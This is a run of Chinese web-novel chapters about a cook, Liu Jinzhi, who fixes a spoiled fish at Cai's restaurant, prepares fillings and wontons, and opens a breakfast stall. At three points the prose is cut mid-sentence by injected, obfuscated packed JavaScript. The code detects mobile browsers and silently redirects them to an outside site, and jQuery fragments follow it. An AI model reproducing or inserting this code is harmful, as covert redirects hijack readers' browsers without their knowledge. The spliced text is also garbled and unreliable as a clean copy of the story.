一道菜一道菜的高声唱出来，既能让膳房内听得清楚，也能叫食客确定有没有报错菜名，可谓是一举两得。 当然，柳金枝不是来消费的，将手中契约递与跑堂小二，劳烦他请出蔡老来面谈。 蔡老看起来五十上下光景，目光炯炯有神，两颊红润有光，是个精神抖擞的胖老头。 想来他正在后厨忙碌，匆匆忙忙掀开厨帘出来时，额上、鼻尖满 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458083|169610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是热汗，浑身上下带着浓郁菜香。 一见面，就急急忙忙道：“我知二位是从食饭行来，但现下老汉没有闲工夫与二位多聊。小二！与柳娘子和应哥儿上壶茶。” 言罢又缩回膳房去了。 柳金枝倒不知一个小饭馆居然能这般忙碌。 跑堂小二解释道：“二位莫怪蔡老怠慢，实在是今日馆子里有位膳工告假回家守着娘子生产去了，馆内人手调不过来，这才叫二位多等。” 一边说，一边与二人拣了个干净些的小桌落座了，殷勤与二人斟茶。 柳金枝垂眸一想。 往后她家本就要求蔡老多指点，现下有个现成的人情，不做白不做。 也就笑道：“若是人手不够，不若奴去帮忙料理。奴虽年轻，但手上还算利落。” 跑堂小二一时迟疑：“这……” 这时，门口又有一波食客上门来。 跑堂小二只好道：“娘子虽心善，我却做不得主，您不如往膳房里去问问蔡老。” 然后赶忙招呼食客去了。 应天爵道：“若妹子有心自管去襄助，我手头上还有闲事要忙，当下先走一步，就不陪妹子在此处多吃茶了。” 现下就该是柳金枝与蔡老交谈，应天爵再留也无甚用处。 于是柳金枝对应天爵福身一礼告谢后，莲步轻移转入膳房内。 膳房不大，共三口锅灶，其中两口有火，都由蔡老一人操持。旁边还有一小童，看起来应是膳徒，蹲在旁边洗菜、摘菜，打些下手。 但杂活儿太多，这膳徒手上忙不过来，将一尾鲜鱼切破了苦胆，绿汁淌出，漫了一地，惹得蔡老发火： “哎呀，你这小猢狲，没由来的糟蹋一尾好鲜鱼！现下前头的食客还等着用，你叫我从哪儿再去捞一条来？！” 膳徒不敢还口，唯唯诺诺低着头挨骂。 柳金枝上前一福身，温和道：“蔡老不必生气，奴倒知晓一法子，兴许能破了苦胆的涩味儿。” 蔡老喘着气将柳金枝上下一打量，道：“这位娘子，若你没有十成把握，我便去前头赔罪，央那位食客再稍等片刻，叫膳徒再去买一尾就好，可不能逞强。” “每日鲜鱼都是早晨买最佳最鲜，现下已过午后，渔夫早离岸登船，怕是买不到鲜鱼了。就是有的卖，价钱怕也要贵上许多。” 柳金枝有理有据。 “所以，与其白白浪费了这尾鱼，倒不如让奴一试。” 蔡老的眉头顿时拧成个大疙瘩。 他与柳金枝第一次见，实在无法全然相信柳金枝的手艺，但局外跑堂小二声音传来：“好嘞，您坐，听小的给您唱菜。” 尔后门板被叩响。 跑堂小二高声道：“蔡老，金华火腿豆腐汤一道！黄金鸡一道！” 蔡老急得又开始冒汗，认命般道：“罢了罢了，请娘子试试吧。左右迟一些赔罪，早一些赔罪都无甚差别。” 柳金枝略一挑眉，故意当做没听见这丧气话，只向膳徒问清地窖在何处，便一转身去了。 与此同时，邻街太常寺处，一辆装潢朴素低调的马车停在门口。 杏安扶着傅霁景下车。 傅霁景对着寺口小吏叉手一拜，温和道：“敢问小哥，柴寺丞可在？” 小吏查看过傅霁景身侧牌子，也与他见礼，恭敬道：“原来是傅郎君，不知郎君寻柴寺丞何事？” “家姐有事嘱托，叫在下来寻姐夫归家。”傅霁景道。 “郎君来的不巧，寺内膳堂正在修缮，大人们都外出用膳去了。柴寺丞随同两位典薄大人也出了门，瞧模样，应是往邻街蔡氏饭馆儿去了。” 傅霁景拢袖而望，只见太常寺对街有一旗招迎风招展，正是蔡氏饭馆名号，便与小吏告辞，步行过街去了。 10. 蒜末鱼片 柳金枝从蔡氏饭馆的地窖里舀了几碗酒出来。 华国从商代开始就有醋，往后酿造工艺越发进步，也就衍生发展出陈醋、生抽、老抽、酱油一类，但无一例外颜色都呈深褐色。 直到近现代才有人酿制出白醋，滴入食物里而不改其颜色。 再经过一段时间发展，人们发现白醋也能用来除味，所以常用白醋来处理一些腥味儿难除的食材，其中就包括刺破了苦胆的鱼。 所以按照常理来说，在宋朝这个时间线，是没有白醋存在的。 可偏偏柳金枝以前读过《中华美食发展史》，知道原来在春秋时就出现了白醋的前身，但在当时，这只被当成一种酒，供大家狂饮取乐。 这类酒在宋朝被称之为眉寿酒，由宋朝丰乐楼，也就是樊楼购买酒曲酿造。 而作为一家正经饭馆，蔡老自然也向丰乐楼购买此酒，储备在地窖之中，以作零售之用。 将鱼放入盆内，再倒入眉寿酒浸泡。 不过一时三刻，绿汁苦胆的浓郁涩味已经被一股酒味儿覆盖。 柳金枝再用刀小心缓慢地刮下胆汁浸漫过的鱼肉，弃之不用，又更换眉寿酒再度浸泡一次。 如此反复，胆汁之苦已经全然消弭，留下来的只有酒味儿。 但是酒味儿过甚，也会损伤鱼肉的本真鲜味儿。 所以要趁眉寿酒尚未浸透到鱼肉肌理之时，尽早进行烹饪。 里头蔡老已经掌握了两口灶眼，柳金枝也不起动膳徒，自个儿拿着火石搭柴起火，将第三口灶眼点燃。 火势起时，火舌大肆舔舐锅底。 蔡老只瞥了她一眼，就端着菜盘绕出了膳房。 膳徒却满眼新奇，在一旁道：“柳娘子，这尾鲜鱼是位老食客付了银子叫咱馆子买的。没点名要什么菜式，只叫蔡老拣拿手的做来。你打算怎么处置？” 若是不限定菜式，那便更好处理。 柳金枝勾唇一笑，道：“不如做一道蒜末鱼片。” 鱼片是种很常见的做法，就像现代很多人爱吃酸菜鱼片一样。 但可惜的是，现代随处可见的酸菜鱼饭馆大多采用预制菜，而并非捉活鱼现宰、现杀、现煮。 再加上这些预制菜也不过是用多种肉类打成沫，做成鱼片形状，当真吃起来，肉质软滑、口感古怪，并不似活鱼肉一般越吃越香，反而越吃，越觉得自个儿只是在吃鱼锅里头的八角、花椒等重口味调料而已。 所以在现代时，她很不喜欢出去下馆子，总是埋头在家里下厨。 预制菜，当真是现代美食爱好者的头等大敌。 柳金枝挑拣了一把重量均匀的菜刀，牢牢握在手中，先将鱼鳞尽数刮干净，再把鱼头切下，单独破成两半。 随后菜刀更换成片刀，把鱼放平，用右手扣住鱼身，在鱼的中心骨上面下刀，一路往下切，片下鱼身上层的肉。 在尾部斩断后，再将鱼翻面，依样画葫芦，就可再度片下鱼身下层的肉。 中间就只剩下鱼骨，也不要浪费，更换砍刀将鱼骨剁碎，放在小碗里备用。 剩下的鱼身肉切去鱼骨，刀口放斜，便能片出一碗切口漂亮整齐的鱼片。 看见这么干脆利落的刀工，膳徒不由惊叹：“娘子好厉害的手上功夫！怕是要三伏三九都苦练不休啊！” 柳金枝谦虚一笑，手腕翻转，在鱼片身上撒入几搓盐、两勺淀粉、三勺料酒、还有些许辛辣芥菜根粉末，用手抓拌均匀，晾在一旁腌制半盏茶时间。 期间，柳金枝提起水桶，往烧的正辣的铁锅内倒入清水，盖上锅盖。 大火猛烧之下，锅内清水很快沸腾。 蹲下来抽去大半柴火，将大火改为小火，她才将腌制好的鱼片依次下锅，慢慢熬煮，待看见雪白的鱼肉内质慢慢变为实白，周遭泛起鱼香，再将之捞起备用。 切记，此处的鱼肉万不可太晚捞出，否则水煮过甚，使肉片口感变老，吃到嘴里就不鲜滑爽嫩了。 好在柳金枝一直盯着火候，捞起的鱼片色泽、熟度都刚刚好。 接下来，就是预备调料的事儿了。 都说吃货应该去宋朝，实在是因为宋朝的各类制作工艺，特别是饮食方面，实在是登峰造极。 北宋时期，宋朝就出现了“素食”，并且独立成为一个菜系。为了给没有肉油煸香的“素食”调味，宋朝膳工们居然用上了植物油—— 花椒油。 于是花椒油就伴随着花椒一同在宋朝风靡，被广泛使用于各类菜肴之中，特别是冬季，御膳工们还会用此来给菜品提味，温中驱寒。 但是此类调味品仍然不能够满足宋朝人的胃口，于是在从陆地吃到河里，再吃到海上之后，北宋人发现有一物名唤海蛎子，也就是现在所说的生蚝，格外鲜美多汁，好吃到让人上瘾。 可野生海蛎子产量不多，又限制于季节，无法叫所有宋朝人都一饱口福。 为了扩大生产，北宋人就开始办起了养殖场，先是以“插竹养蚝”的方式人工饲养，后又大肆开办养蚝厂。 不过当时催办养蚝厂的人肯定想不到，在多年以后，竟然有人能由海蛎子身上提取出一种后世常用的调味品—— 蚝油。 柳金枝现下所处的朝代虽然架空，但时间线偏于宋朝后期，也就是说，蔡氏饭馆的调料罐里早就存了花椒油与蚝油两样。 而掀开罐盖子一瞧，也果真如此。 于是柳金枝取生抽一勺、蚝油一勺、老抽半勺、少量清水并适量花椒油，放置在一只酱料小盏之中，用竹箸搅拌均匀，静置一旁待用。 尔后又洗干净铁锅，塞入柴禾调成大火，猛烈烧枯锅中水分，绕圈淋上芝麻油，将膳房内本就洗净备好的蒜瓣放入锅中，反复煸炒，炸出蒜香。 再用勺子舀出两勺豆瓣酱放入锅内进行调味、调色。 当锅内汤汁逐渐变得鲜红滚辣，就趁热打铁倒入鱼片大幅度翻炒。 热辣辣的锅底将汤汁灼烧的滋滋响，嫩鱼片每被翻炒一次，都能全面滚过锅底，吸饱香辣底汁。 再将早就调好的料汁泼在鱼片身上，持圆头长柄大勺颠锅翻炒。 油落入火中，嘭的蹿出半人高的火舌，直冲屋顶！ 膳徒被唬了一大跳，柳金枝却趁此翻锅落勺，利落将蒜末鱼片装盘。 “这膳房里是闹什么动静？怎的外头食客说见着火光冲天？！” 蔡老满头大汗，急急忙忙掀帘子进来。 “柳娘子，你莫将老朽的膳房烧……” 话说到半头，却似卡壳了一般再说不出分毫。 “好香的味道。” 蔡老的眼睛不由盯上柳金枝手里那盘菜，半晌才反应过来，震惊又不可思议。 “这是那条鱼？！” 柳金枝对着蔡老福身，笑道：“借用了贵馆些许调料，但也总算是不辱使命。” 将手中鱼转交给了蔡老。 离得近，这鱼香味儿更是浓郁，蔡老忍不住多闻了两口，只觉得口中生津，比他自己做的更加诱人。 若是把这鱼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458084|169610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呈给那位相公，他这嘴上也有说辞了。 于是赶忙转出膳房。 饭馆内，一名身着栗色外袍，披玄色大氅的青年男子正与一二友人对坐。 而男子旁边还坐着个年轻郎君，深绿色外袍，生的眉眼如清风朗月，金质玉相，文质彬彬，只是简单端坐在此，这四周都仿佛亮堂了不少。 “我知你来是为着什么。”青年男子满心担忧，“你姐姐自从有孕，就一直饮食不佳。为求她用膳顺遂些，我一直每日都买些她爱吃的带回去。她以前最爱吃蔡老做的鱼，我今日正是为此而来。” 傅霁景点头：“家父、家母也对此颇为忧虑，总叫我过府探望姐姐。今日我与姐姐相见，她却思虑不安，因说太常寺膳堂修缮，姐夫理应归家，但候了许久也不见姐夫身影，就嘱咐我出来寻你。” “嗐，我本是想买好鱼就回去，没成想今日这蔡老手脚这么慢，我等了许久都不见菜影，着实怠慢！” 柴靖脸色难看，眼中隐有怒火。 “许太医早就叮嘱你姐姐，孕中切忌多思，怕她胎动不安。现下都怪我，又招惹你姐姐不好了。” 言罢，再等候不得，直接起身要去膳房催促。 谁知正走到半道，蔡老就已经满脸堆笑地迎了上来，将一只精致食盒递来，口中连连赔罪道： “对不住了柴相公，今日膳房忙乱，耽搁了您的时间，小老儿给您赔罪了。” 柴靖本是不耐，但因心中记挂夫人，也就不与蔡老多搅合，只将这食盒一拿，道： “蔡老如此怠慢，想必这鱼的滋味应当比往日更甚。若我家夫人用的还算欢心，此事就此作罢。但若菜做的敷衍，我少不得要与你多做理论！” 尔后转身就走。 这般行事却叫人意想不到，将蔡老吓的不轻，慌张看向傅霁景。 傅霁景叹了口气，拢袖替柴靖致歉：“蔡老莫慌，我那姐夫性子急躁些，总是喜欢口不择言，惊扰您了。” “那、那这柴相公日后不会真来寻老朽麻烦吧？”蔡老语气惶恐。 “有我姐姐管着，他自然不会。”傅霁景道。 “那老朽便安心了，多谢郎君。”蔡老赶忙叉手下拜。 傅霁景摇摇头，陪同余下的几位太常寺官员一起离开。 款步行至门口时，听见身后蔡老似又庆幸，又似感激地说： “柳娘子，这回当真是多谢你了。来日你在太常寺边支起食摊，老朽必然送来利是红包，贺你生意兴隆！发财利市！” 傅霁景脚步一滞，回眸看去。 像是才从膳房里钻出来，少女一脸热汗，双颊也被蒸得红扑扑的，青丝零散，一小绺一小绺贴在白皙脸侧。可她似毫不在意，只抬起手随意擦去额上汗珠，双眸明亮如镜，红唇一张一合，对着蔡老不知在说些什么，却是眉开眼笑，十分开心的样子。 船上见面时柳金枝一言一行宛若大家闺秀，拘谨有礼的很，此时笑起来，倒像个不谙世事的邻家少女，大胆又充满着生机活力。 傅霁景不由一愣，尔后似是意识到自己犯了“非礼勿视”一戒，连忙转过头，耳尖发红，却再不敢看柳金枝了。 尔后，柳金枝与蔡老正好从蔡氏饭馆走出。 蔡老将一纸红底黑字告示贴于门板之上，笑道：“娘子手艺高超，又不吝出手相助，老朽自当投桃报李。” 柳金枝看向那方告示，只见其上大字书写—— “柳氏食摊，拟定隆兴十一月二十三辰时一刻，于太常寺外街盛大开业！” 11. 馉饳、馄饨 回到柳家旧宅时，柳霄已经将整日购买的东西安置妥当，正坐在烛火底下念书，月牙就乖巧地蹲在他身边玩耍。 只是让柳金枝意料不到的是项志轩居然也在，见着她便叉手下拜，满脸是笑：“柳娘子怎的才回来？倒叫在下好等。” 柳金枝疑惑而笑，道：“不知项郎君因何等奴？” “嗐，全是因着娘子今日一早给在下送的那碗烩面。”项志轩不好意思地挠头，“今日我有一同窗来寻我一同温书，却不想瞧见了娘子那碗烩面，就央告我分他尝了两箸。” “谁知这怪行货子五脏庙里头闹馋虫，尝了以后就不肯罢休，好说歹说又要了我半碗去。” “他吃的起兴，来问我膳工是哪位？要请回家去包私。我道出是位未出阁的年轻娘子，他便不提这话，而给了我这锭银子，央求娘子明日若再做朝食，不拘是什么，好歹给他留一份儿。” 柳金枝打眼一瞧，那锭银子应有一二两重。 现下家里正是愁银子的时候，她自然没有理由不答应。 “既是项郎君同窗的事儿，奴自当应下。”柳金枝微笑，“明个儿奴便做好朝食送到郎君家。” “若是娘子不嫌麻烦，也帮我留一份儿吧，这里是一两银子。”项志轩也递来一两。 可见今日他那位同窗又争又抢的，害得他只吃了半碗烩面，现下嘴里还在发馋。 柳金枝自然也是答应，拢袖收起银子。 这喜得项志轩连连叉手又拜了几拜，这才转回了自个儿房间。 柳霄见柳金枝终于得了空闲，就放下书本，起身去小膳房的蒸笼里取出一个用油纸包好的包裹递给柳金枝。 柳金枝拆开来，发现里头竟装了两个形容完好的炊饼。 这玩意儿武大郎也卖过，现代还衍生出武大郎烧饼，但烧饼是烧饼，炊饼却是馒头。 宋朝市面上，叫“饼”的食品至少有十几种，比如“环饼”是麻花、“索饼”是面条，而“乳饼”竟是奶豆腐。 但是古时候的筛面粉技术并没有现代的好，馒头也不如现代一样属于精细面食，反而有些粗糙剌嗓子。 “这是你专程给我买的？”柳金枝笑问。 “嗯。”柳霄抱起月牙，语气带着愧疚，“你在外面和那些人说话，肯定忙的吃不上饭，我就买了炊饼给你垫垫肚子。本来还有更好的顶皮酥果馅儿饼子，但我银钱不够，只能将就将就了。” “不将就，我就爱吃这个。” 柳金枝笑着摸摸柳霄的头。 还怕柳霄心思敏感不信她，就特意去膳房翻了碟酱瓜出来，将瓜包夹进馒头里，大口大口地吃。 柳霄见她狼吞虎咽，不由一笑：“哪家娘子像阿姐你这般吃相？”一面又给倒了杯清水递过来，“小心，别噎着。” 柳金枝接过清水一饮而尽，抹了一把嘴，笑道：“告诉你们个好消息，我今日已经与饭食行还有蔡老商议好了，明日辰时一刻，咱们柳氏食摊就在太常寺边儿上盛大开业！” “第一日做吃食，必然要一炮打响名气，把名声炒的红红火火，才能从早被挤占的市场中分一杯羹。” “所以第一，咱们得保证朝食味道好吃、种类繁多、价格实惠。我已想好了单子牌面，晚些时候写给你，你背下来，待到明日唱和给食客们听。” “第二，是银钱进账问题，咱们得写个账本，但我对这方面不甚精通，还是只能交与你来做。每日出账、入账都要计算清楚。” “第三，你写字好看，得动笔替咱家写个旗招子。就叫‘柳氏食摊’！上边儿再画个柳叶儿图案，这样就是不识字的，也不会找错地方。” 柳霄自然是点头。 许久不出声的月牙却扯扯柳金枝衣袖，仰着小脸问：“那阿姐，我做什么呢？” 这倒难为柳金枝了，月牙才五六岁，能做什么呢？ 她只好笑道：“月牙年纪还小，等再大一些再来帮阿姐好不好？” 谁料月牙一本正经道：“阿姐莫要瞧我年纪小，就以为我帮不上什么忙，我可厉害着呢！” “以前哥哥没银子买书看，就常带我去书斋背书。一篇文章，哥哥背前半篇，我背后半篇，回家后一起默出来，就不用花银子了。” “有时候我背的比哥哥快，还能多默一篇文章出来。” “阿姐你又叫哥哥背单子牌面，又叫他算账、理账、写旗招子，不如叫我来背，我保管一个字都不会错！” 柳金枝倒惊讶月牙有这本事，笑道：“空口白牙可不算数，我当场写一纸出来，你若是在一刻钟之内背会了，我就把这事儿交与你办。” 于是提笔写菜名，满满当当一页纸交给月牙。 月牙接过纸张便低头默背，神色专注认真。 柳金枝抬眸看柳霄，柳霄却笑着对柳金枝点点头，眼眸里满是骄傲和自豪。 看来对自家妹妹背下这页单子牌面胸有成竹。 果不其然，用不了一刻钟的时间，月牙就把单子牌面交还给柳金枝，道：“我已在心中默熟了，这就背与阿姐听。” 言罢，清清嗓子，张口便道：“热粥与汤羹有小米粥、红豆粥、绿豆粥、灌肺、炒肝。面食与点心有包子、饺子、炊饼、糯米团子、荞麦饼……” 等月牙摇头晃脑背完，竟果然是一字不差。 柳金枝高兴地将月牙一把抱起，满心欢喜道：“想不到霄哥儿于算经一途天赋异禀，月牙又有过目不忘之能！咱们柳家人才辈出！” 月牙虽然早慧机敏，但毕竟还有孩童的几分羞涩内向，被柳金枝这么大肆一夸，倒不好意思地脸红起来，连忙扑腾着两条短腿滑溜下来缩到一边了。 柳金枝却不肯放过她，绕着圈儿地要去逗月牙，把个孩子逗的满脸羞红。 柳霄在旁边看她们玩闹，眸中笑意深深。 等到两人闹够了，他才微笑道：“阿姐，你一个人要准备这么多朝食定然忙不过来。卯时的时候我也来与你一同做，你支使我打些下手。” “你既如此说，那阿姐可不与你客气。”柳金枝将一缕青丝挽于耳后，双眸亮晶晶的，“毕竟明日早晨可是有一场硬仗要打的！” 一般食贩卖朝食，差不多都得做十几个扇笼。就说一个扇笼里放十个饼子，那柳金枝也得揉两百多个面团。 这是项大工程，两个人忙活也得好一阵。 所以天还没亮，柳金枝就提着红纸灯笼悄悄掀开暖帘，和柳霄一起钻进了膳房。 作为一个新上任的膳徒，柳霄虽然手艺生疏，但胜在听话，指哪儿打哪儿，做事一丝不苟。 所以揉面之类的精细活儿就全由柳金枝包揽，只一时吩咐柳霄道：“去将灶眼烧起两口。” 又一时说：“去打桶水将这些扇笼刷洗了。” 又一时高声道：“霄哥儿，再拿两个盆来装面团，盖层湿纱布等面性醒满！” 柳霄被支使的团团转，累的汗流浃背，忍不住双手扶住膝盖，停下喘息片刻。 但只是这片刻，左边那口灶眼火就小了。 柳金枝抽空飞快瞟了一眼，催促道：“霄哥儿，赶紧添柴！” 柳霄擦擦汗，费力将柴禾拆开塞入灶眼，脑中却莫名闪过那日柳金枝和月牙的对话： “阿姐的厨艺是向谁学的？” “孙府的膳工们。” “那些膳工们凶吗？” “很凶。” 以前的阿姐连锅都能烧坏，现在对厨艺却好似有十足把握。 也许在当年的孙府膳房内，阿姐也这么被支使过吧？ 忙得团团转，却又歇不下来，一边挨骂，一边赔笑，一边却又累得筋疲力尽也不敢停。 阿姐其实过得一点儿也不好。 柳霄抿了抿唇，默默抬眸看向柳金枝。 柳金枝毫无察觉，还在尽力揉面，面色专注认真，那张清丽的脸庞上沁出细密汗珠，顺着流畅的脸蛋线条往下淌，濡湿浅色衣领交叠的脖颈。 “霄哥儿，去给我把擀面杖洗洗。”柳金枝头也不抬。 “……好。” 柳霄抽了抽鼻子，低头站起来去了。 柳金枝瞥了一眼柳霄的背影，似是觉得不对，但又没想出个所以然，就还是低头揉面。 费力将几盆子面都揉完，柳金枝甩了甩酸痛的胳膊，却来不及休息，又预备着做馅料。 今日她预备着做的几样面点，大多都得加馅儿。 考虑到宋朝人口味，她预备拌两盆不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458085|169610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同的馅料出来。 第一盆是最常见的“白菜猪肉馅儿”。 将那日买回来的猪肉放在砧板上细细切成肉糜盛入小碗中，往里倒入菜籽油一类植物油搅拌均匀调香。 要调好一盆肉馅儿所耗时间不短，若是新手拌馅儿料，很容易因为操作不当而使肉馅变柴。若要使肉馅儿吃起来能更鲜嫩多汁，在倒入菜籽油的同时，也要少量多次倒入清水，以此锁住水分。 但要使馅料更增香，还是离不开一些调味品。 于是起锅！烧油！ 放入大量葱段、姜片，一度将之炸至焦黄，直至所有葱段、姜片皆已沉入锅底，才用大笊篱捞出，留下余油，尽数淋上入肉馅儿。 热油刺激之下，最上层的肉馅几乎都要被烫熟，登时飘散出一股肉香来。再辅以一勺生抽、一勺白糖、一勺蚝油、三只鸡蛋，以及买回来切碎又控干水分的大白菜。 最后用竹箸将这些物什全部均匀混杂在一起，一盆简单的猪肉白菜馅料就大功告成。 第二盆则是“野山蕈冬笋馅儿”。 野山蕈即是蘑菇，但柳金枝买来的又有所不同，是一种能在冬季里面依然茂盛生长的冻蘑，学名又叫做元蘑，在北方山中很常见。 有些菜农会前一天进山中采些回来，等到第二日再驮进城卖。 其实宋朝人还挺爱吃蘑菇的，比如三脆羹、酒煮玉蕈都是用蘑菇做成的。 到南宋时，还有个叫吴煜的农民发明了一种砍花法，即用刀在树上砍出深浅不一的刀痕，利用空气中的香菇、木耳孢子自然萌发、形成菌丝，使菌菇产量大幅提升。 时至今日，浙南山区的人们还在使用这种方法，可见从古至今，大家都对蘑菇颇为偏爱。 而且买这一袋蘑菇也不贵，约莫二十来文。 柳金枝取了一半野山蕈出来洗净、切碎，接着又起锅烧油，将这些碎野山蕈来回翻炒到菇肉疲软，沁出汁水，就捞出放凉备用。 又把冬笋也洗净切碎，放入滚水中焯到熟，捞起来过凉水。 把两者混合倒入盆中，依照拌“猪肉白菜馅儿”，取盐、蚝油、菜籽油等。但与前者不同的是，野山蕈与冬笋本就都是植物，若全然用植物油，就少了肉类的一丝醇香，于是在此之前，还要额外放一些猪油进去。 如此搅拌均匀，这盆“野山蕈冬笋馅儿”也就好了。 此刻面性也已发满。 柳金枝干脆利落地揪拽了一团拍在面板上，接过柳霄递来的擀面杖，来回擀出一张女子巴掌大小的，四四方方的面皮，却不薄，倒像豆腐千张一样厚。 先是拖在手上，用勺子挖一大勺猪肉白菜的馅料填装进去，然后用手沿着对角线折起来，捏紧边缘，像是一个直角等腰三角形。再把两个角合拢，叠压捏紧。 这样就包成了一个小孩拳头大小的莲花，中间的花苞像含苞待放的骨朵。 这便是宋朝大街小巷都能看得到的平民美食——馉饳。 以现代人的眼光看，宋朝人的馉饳其实就是馄饨，但吃的花样比现代多，既可以煮着吃，也可以用铁签子串成一串，用火烤着吃。 想象一下像吃烧烤一样吃馄饨，就不由觉得好玩又好笑。 柳霄手艺笨拙，不知怎么包，就在旁边默默瞧，时不时给柳金枝擦擦汗。 约莫两刻钟后，柳金枝包好了两百余个，暂时放在笼子里，盖上层纱布放好。 尔后又开始包饺子。 宋朝把馄饨叫成馉饳，却把饺子叫成馄饨。 但不管怎么说，饺子的做法要比馉饳简单多了，不用做那么复杂的莲花造型，只用把封口封的结实漂亮就好。 这时候柳霄终于能帮得上忙，赶紧洗净手，套上襻膊过来，将活计都抢了过去，要包猪肉白菜和野山蕈冬笋的各一百五十个。 柳金枝让给他，自己又去做剩下的吃食。 样样准备齐全时，天边已经亮起半轮朝阳。 柳金枝擦擦汗，挑拣了几样朝食给项志轩和其同窗留下，道：“时辰差不多，咱担着担子走吧。” 柳霄点头，去叫了月牙洗脸刷牙起来，一家三口就租了辆驴车，将膳房里锅炉、扇笼、旗招子、小杌子等等器具都绑好，一路往御街去了。 12. 早市开业 一路行到太常寺对面，柳金枝将项志轩给的银子称出来五钱兑了铜子，便让柳霄将旗招子扬手一抖，高高挂起来。 此时已是卯时左右，街面已有行人来去，对这街面上多出来的一家新食摊亦是有些好奇。 趁此机会，柳金枝直接站上台阶，提高声量道：“诸位！走过路过莫要错过！咱们今日柳氏食摊正式开业，有铜钱开路，封利是红包！” 柳霄为了给柳金枝助声威，找隔壁米粮铺子借了个铜锣，大力敲击：“来来来，瞧一瞧！看一看！有利是红包！” 月牙也跟着出力，来一个人她就给人家鞠一躬，小身板摇摇晃晃，憋红了脸，道：“欢迎欢迎！” 若说有个食摊开业，众人倒没什么稀奇可看，但一听有利是铜子拿，立即就有人凑了过来瞧热闹，结果发现这新食摊还是拖家带口来开业的，做主的似乎还是个年轻漂亮的小娘子，不由觉得新奇。 但不拘是抱着什么想法，人总算是聚拢了一些。 柳金枝清清嗓子，提高音量道： “奴就是柳氏食摊的摊主，诸位大可唤奴一声柳娘子。” “今日在贵宝地开业经营食摊，早上兜售朝食，夜市也卖热菜。” “只要是您叫得上名字的，奴都能设法为您一一做来！寻常人家的饭食，咱家更是准备齐全！” 月牙立马接上话茬，小脸绷得紧紧的，一本正经道：“我们食摊上，冬日里有馉饳、包子、兜子、角子各类面点，还有……” 不愧是过目不忘，月牙一口气流利背出至少三十余种饭食，叫周围人面露惊奇之色，直夸赞： “好乖觉的娃娃！” “倒是没见过这般形式，当真新奇。” 同时，因着昨日蔡老襄助，现下也有人开始想起： “这个柳娘子虽然从未听过，但我昨日见到蔡老门前贴有一张红纸，特意介绍了柳氏食摊。” “蔡老在御街开店几十年，由他介绍的人必然不会有错。” …… 蔡老算是一个活招牌，柳金枝自然不吝惜于蹭蹭蔡老的热度。 于是她再度提高声音，笑道：“奴入食饭行，所拜行老就是蔡老。蔡老言传身教，所以奴摊上所有饮食必然价钱公道，用料实在！” 随后一抖茄袋，露出百十来个铜子。 “今日开业后，还要仰承各位父老乡亲们支持，今日将这利是喜钱洒与诸位，大伙儿一同沾沾喜气！” 便伸手一抓，抛着弧线洒出去，刹那间引起十几双手高举空中争抢。 与此同时，耳边传来几声鞭炮锣鼓齐天响，炸的红纸满天飞。 原来是有两个小子举着竹竿，一边燃放鞭炮，一边跑近，笑着恭贺柳金枝开业大吉。 再抬头一看，对街之处，蔡老站在蔡氏饭馆门前对着柳金枝遥遥叉手一拜。 原来这两个小童是蔡老请来，以鞭炮齐鸣祝柳金枝开业大喜。 柳金枝一笑，便也遥遥对着蔡老福身回礼。 正好众人已弯腰拾取了铜子，念在铜钱开街的面上，在柳氏食摊前面排起了长队。 柳金枝跳下台阶，招呼食客： “您要的炊饼两个，拨鱼儿一碗，承惠十五文！” “馉饳二两，承恵十文，我替您新鲜现煮，您旁边请好！” 柳金枝闪到一边下锅煮馉饳，柳霄则默契的闪身顶上，继续在摊前招揽生意。 月牙人矮个子小，站起来都没食摊高。眼瞧着帮不上什么忙，急得跟什么似的。 好在目前食客众多，又老有人点些个汤汤水水，柳金枝叫月牙去跑去问蔡老借了两套桌椅，摆在食摊旁边，让客人好坐下来慢慢享用。 月牙也就顺理成章的成为了“侍应生”，专管收盘子、洗盘子、擦桌子。 只是目前食摊上生意火爆，客人来了一拨又一拨，给小姑娘忙成了脚不沾地的旋螺。 柳金枝忙碌之余，抽空瞧月牙一眼。 小小的孩子坐在小杌子上埋头洗碗，腰深深弯下去，恨不得把自己也摔进盆里，却来不及休息，因为刚洗完一堆碗，便又有客人吃完，于是赶紧起来收拾桌椅板凳。 柳金枝心中微酸，心里默念： 一定要赚钱！一定要赚钱！ 她不愿意月牙过这样的苦日子！ 日头渐渐西移，御街人不减少，反而越来越多起来，整条街仿佛复苏了一般，逐渐人声鼎沸。 甚至还可以看见不少着茄紫、绯红、天青等颜色官袍的大人，一个个拉脸怂眉，极其疲惫，面如菜色般从宣德门缓缓走出，仿佛在皇宫中经历了一场饥荒。 